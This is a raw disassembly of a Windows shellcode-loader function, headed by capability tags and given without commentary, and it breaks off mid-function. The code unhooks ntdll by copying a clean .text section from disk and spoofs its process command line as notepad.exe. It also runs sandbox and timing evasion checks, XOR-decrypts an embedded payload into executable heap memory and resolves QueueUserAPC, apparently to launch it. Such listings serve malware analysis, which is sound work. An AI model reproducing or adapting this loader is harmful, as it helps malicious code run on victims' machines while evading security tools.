Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x850], ecx
mov qword [rbp + 0x858], rdx
call fcn.140002bf0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x798], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x790], rax
mov ecx, 0x89c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov dword [rbp + 0x81c], 0
jmp 0x140001513
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x788]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x226
jle 0x1400014c6
mov dword [rbp + 0x81c], 0
jmp 0x140001603
cmp dword [rbp + 0x81c], 0
je 0x140001573
mov eax, dword [rbp + 0x81c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x81c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x14000157f
add dword [rbp + 0x81c], 1
jmp 0x140001603
mov eax, dword [rbp + 0x81c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5e4], eax
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x788]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rdx, rax
mov eax, dword [rbp + 0x5e4]
mov dword [rdx], eax
sub dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x226
jle 0x14000152e
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x780], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x810], rax
cmp qword [rbp + 0x810], 0
jne 0x1400016a6
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x810], rax
cmp qword [rbp + 0x810], 0
je 0x140001a08
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
mov rax, qword [rbp + 0x780]
mov r10, qword [rbp + 0x810]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x778], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x778]
add rax, rdx
mov qword [rbp + 0x750], rax
mov word [rbp + 0x80e], 0
jmp 0x1400019f0
mov dword [rbp + 0x808], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x800], xmm0
add dword [rbp + 0x808], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x808]
movsd xmm0, qword [0x1400065e8]
addsd xmm0, xmm1
mov rax, qword [0x1400065f0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ca0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x808]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065e8]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x800]
addsd xmm0, xmm1
movsd qword [rbp + 0x800], xmm0
cmp dword [rbp + 0x808], 0x244
jle 0x1400017f6
movsd xmm1, qword [rbp + 0x800]
movsd xmm0, qword [0x1400065f8]
mulsd xmm0, xmm1
movsd qword [rbp + 0x800], xmm0
mov rax, qword [rbp + 0x750]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x750]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x80e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400019df
mov dword [rbp + 0x7fc], 0x38e
jmp 0x140001905
sub dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0
jg 0x1400018fe
mov dword [rbp + 0x588], 0
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x760]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x588]
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x80e]
add eax, 1
mov word [rbp + 0x80e], ax
mov rax, qword [rbp + 0x750]
movzx eax, word [rax + 6]
cmp word [rbp + 0x80e], ax
jb 0x1400017e0
mov ecx, 0x5e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov ecx, 0x5e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov ecx, 0x5e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov ecx, 0x5e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
mov dword [rbp + 0x7f4], 0x179
mov dword [rbp + 0x7f8], 0
jmp 0x140001af8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x740]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x738]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x179
jle 0x140001a65
mov dword [rbp + 0x7f8], 0
jmp 0x140001b97
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x740]
add rax, rdx
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x730]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x738]
add rax, rdx
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x728]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7f4], 1
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x179
jle 0x140001b17
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x728]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x58c], 0
mov rax, qword [rbp + 0x798]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x58c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x720]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x598]
add rax, 0x3c
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x718]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x7e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140001d07
mov rax, qword [rbp + 0x710]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x708]
mov r9d, 0x3000
mov r8d, 0x330
mov edx, 0
call rax
mov qword [rbp + 0x7e8], rax
cmp qword [rbp + 0x7e8], 0
je 0x140002b2d
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002b2d
mov rax, qword [rbp + 0x700]
mov edx, 0x41b
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6fc], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140001dc0
mov rax, qword [rbp + 0x6f0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov ecx, 0
call rax
mov dword [rbp + 0x7e4], eax
cmp dword [rbp + 0x7e4], 0xffffffff
je 0x140002b2d
mov qword [rbp + 0x6e0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x40dda80
mov ecx, 0
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
je 0x140002b2d
mov rax, qword [rbp + 0x6e0]
mov edx, 0x40dda80
mov rcx, rax
call fcn.140004900
mov rax, qword [rbp + 0x6e0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x6d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x230fa80
mov ecx, 0
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x140002b2d
mov rax, qword [rbp + 0x6d0]
mov edx, 0x230fa80
mov rcx, rax
call fcn.140004900
mov rax, qword [rbp + 0x6d0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x140001f68
mov rax, qword [rbp + 0x6c0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov ecx, 0
call rax
mov dword [rbp + 0x7e0], eax
cmp dword [rbp + 0x7e0], 0xffffffff
je 0x140002b2d
mov qword [rbp + 0x7d8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
je 0x140002002
mov rax, qword [rbp + 0x6b0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6a8]
mov r9d, 0x3000
mov r8d, 0x264
mov edx, 0
call rax
mov qword [rbp + 0x7d8], rax
cmp qword [rbp + 0x7d8], 0
je 0x140002b2d
mov dword [rbp + 0x6a4], 0x335
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
call rax
mov dword [rbp + 0x694], eax
mov eax, dword [rbp + 0x6a4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x698]
call rax
mov dword [rbp + 0x690], eax
mov eax, dword [rbp + 0x690]
sub eax, dword [rbp + 0x694]
cmp eax, 0x303
jbe 0x140002b2d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
call rax
mov dword [rbp + 0x684], eax
mov ecx, 0x371
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x688]
call rax
mov dword [rbp + 0x680], eax
mov eax, dword [rbp + 0x680]
sub eax, dword [rbp + 0x684]
cmp eax, 0x33f
jbe 0x140002b2d
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
je 0x140002b2d
mov rax, qword [rbp + 0x678]
mov edx, 0x60a
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x674], eax
lea rax, [rbp + 0xc0]
lea rdx, [0x140006128]
mov ecx, 0x98
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x790]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x668]
mov r8d, 0
mov edx, 0x4bf
mov ecx, 0x40000
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x660]
mov r8d, 0x4bf
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x798]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x648]
mov r8d, 0x4bf
mov rcx, rax
call r9
mov dword [rbp + 0x7d4], 0xffffffff
mov ecx, 0x1138
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
add dword [rbp + 0x7d4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006600]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x640]
add rax, rdx
movsd xmm1, qword [0x1400065e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7d4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x640]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7d4], 0x225
jle 0x14000225b
mov ecx, 0xe8c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x7c8], 0
mov dword [rbp + 0x634], 0
mov dword [rbp + 0x7cc], 0
jmp 0x140002381
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7cc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x638]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x3a2
jle 0x140002335
mov dword [rbp + 0x7cc], 0
jmp 0x1400023c2
mov eax, dword [rbp + 0x7cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7c8], eax
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x3a2
jle 0x140002399
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x7c4], 0
mov dword [rbp + 0x7c0], 0
movabs rax, 0x2f2d6aff9506a978
movabs rdx, 0x326b488e7eefcb49
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x503ce17b9f33401c
movabs rdx, 0xc1ae71760914e5ec
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xd5bc2b7b80b9ec6d
movabs rdx, 0x1390cd25f7508be0
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xacddf1634b9cbf34
movabs rdx, 0x1f07529d0095e38c
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov word [rbp + 0x50], 0x73
movabs rax, 0x2c82c74c4b869308
movabs rdx, 0x7e7ef2400d498386
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xa9b5882aaee95d13
movabs rdx, 0xb058d79526188c47
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xc874e8bca2ddd0cd
movabs rdx, 0x48745571bf7a3fb5
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xfaa100c9eb129925
movabs rdx, 0x2b0f37d996a8efa2
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x85d9f08c8fe73049
movabs rdx, 0x3f8f175388d6bcea
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x51fe543f8f175388
movabs rdx, 0xc5a755c2edbba7
mov qword [rbp + 0xab], rax
mov qword [rbp + 0xb3], rdx
mov ecx, 0x720
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7bc], 0
mov dword [rbp + 0x624], 1
mov dword [rbp + 0x7b8], 0
jmp 0x1400025d2
mov dword [rbp + 0x7b4], 0
jmp 0x1400025c2
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7b8]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x628]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7b4]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7b4], 1
cmp dword [rbp + 0x7b4], 0x17
jle 0x140002564
add dword [rbp + 0x7b8], 1
cmp dword [rbp + 0x7b8], 0x12
jle 0x140002558
mov dword [rbp + 0x7b8], 0
jmp 0x140002647
mov dword [rbp + 0x7b4], 0
jmp 0x140002637
mov eax, dword [rbp + 0x7b8]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x7b4]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002630
add dword [rbp + 0x7bc], 1
add dword [rbp + 0x7b4], 1
cmp dword [rbp + 0x7b4], 0x17
jle 0x1400025f7
add dword [rbp + 0x7b8], 1
cmp dword [rbp + 0x7b8], 0x12
jle 0x1400025eb
cmp dword [rbp + 0x7bc], 0xe4
je 0x140002666
mov dword [rbp + 0x624], 0
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x7d0], 0
jmp 0x1400027f0
cmp dword [rbp + 0x7c4], 0x59
jne 0x1400026c4
mov eax, dword [rbp + 0x7d0]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7c4]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x7d0]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x7c4], 0
jmp 0x1400027e9
mov eax, dword [rbp + 0x7d0]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7c4]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x7d0]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x7c4], 1
mov ecx, 0xc58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov ecx, 0xc58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e8], rax
mov dword [rbp + 0x7ac], 0x315
mov dword [rbp + 0x7b0], 0
jmp 0x1400027bb
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7b0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, dword [rbp + 0x7b0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5e8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7ac], 1
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x315
jle 0x14000272e
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x7d0], 1
mov eax, dword [rbp + 0x7d0]
cmp eax, 0x40
jbe 0x140002684
mov dword [rbp + 0x7d0], 0
jmp 0x1400028ad
cmp dword [rbp + 0x7c0], 0x40
jne 0x140002861
mov eax, dword [rbp + 0x7d0]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7c0]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7d0]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7c0], 0
jmp 0x1400028a6
mov eax, dword [rbp + 0x7d0]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7c0]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7d0]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x7c0], 1
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x4be
jle 0x14000280e
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
pxor xmm0, xmm0
movss dword [rbp + 0x7a4], xmm0
mov dword [rbp + 0x7a8], 0
jmp 0x14000297d
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7a8]
movsd xmm0, qword [0x1400065e8]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006608]
movd xmm0, eax
call fcn.140003be0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x7a8]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065e8]
